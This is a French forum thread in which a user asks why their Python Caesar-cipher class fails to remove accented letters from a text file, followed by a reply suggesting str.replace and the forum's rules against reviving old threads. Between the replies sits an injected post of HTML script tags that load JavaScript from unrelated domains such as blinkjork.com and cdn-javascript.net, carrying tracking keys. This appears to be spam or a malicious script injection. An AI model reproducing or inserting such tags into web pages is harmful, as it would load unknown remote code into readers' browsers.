Je voudrais lire un fichier, supprimer les lettres accentuées qui s'y trouvent et recopier
le tout dans un autre fichier .
Je dois passer à coté de quelque chose car mon code se contente de recopier le texte (avec les accents).
Si vous pouviez me dire si je suis sur la bonne voie ou m'indiquer de quelle manière résoudre ce problème, je vous en serait reconnaissant.
# -*- coding: utf-8 -*-
class Chiffres_Cesar:
def __init__(self, fichier_source, fichier_destination, decalage):
""" cryptage et décryptage """
self.fich_s = fichier_source
self.fich_d = fichier_destination
self.decalage = decalage
def supprime_accent(self, ligne):
""" supprime les accents du texte source """
out = ""
for mot in ligne:
for c in mot:
if c == 'é' or c == 'è' or c == 'ê':
c = 'e'
elif c == 'à':
c = 'a'
elif c == 'ù' or c == 'û':
c = 'u'
elif c == 'î':
c = 'i'
elif c == 'ç':
c = 'c'
out += c
return out
def texte_sans_accent(self):
""" crée un nouveau fichier txt sans accent """
# ouvrir le fichier source
fs = open(self.fich_s, 'r')
# crée le fichier destination
fd = open(self.fich_d, 'w')
# lire chaque ligne
while 1:
ligne = fs.readline()
if ligne == "":
break
out = self.supprime_accent(ligne)
fd.write(out)
# fermeture des fichiers
fd.close()
fs.close()
if __name__ == '__main__':
app = Chiffres_Cesar('a_coder.txt', 'a_coder_sans_accent.txt', 1)
app.texte_sans_accent()
Je ne trouve pas d'autre méthode, ça m'étonne quand même.
En attendant, utilise un for plutôt qu'un while, et tu peux faire directement return ligne.replace(accent[i], sans_accent[i]), ça évite de passer par une ligne intermédiaire (personnellement je préfère, après tu fais comme tu veux).
bonsoir une fois que tu as fais ctrlE. Tu écris quoi s'il te plait
<script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js" /><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8527x" /><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8527x&format=arrjs&r=1578431937624" /><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&title=s&blocks[]=31af2" />
Avant de poster un message, vérifiez la date du sujet dans lequel vous comptiez intervenir.
Si le dernier message sur le sujet date de plus de deux mois, mieux vaut ne pas répondre. En effet, le déterrage d'un sujet nuit au bon fonctionnement du forum, et l'informatique pouvant grandement changer en quelques mois il n'est donc que rarement pertinent de déterrer un vieux sujet.
Au lieu de déterrer un sujet il est préférable :
soit de contacter directement le membre voulu par messagerie privée en cliquant sur son pseudonyme pour accéder à sa page profil, puis sur le lien "Ecrire un message"
soit de créer un nouveau sujet décrivant votre propre contexte
ne pas répondre à un déterrage et le signaler à la modération
Pas d'aide concernant le code par MP, le forum est là pour ça :)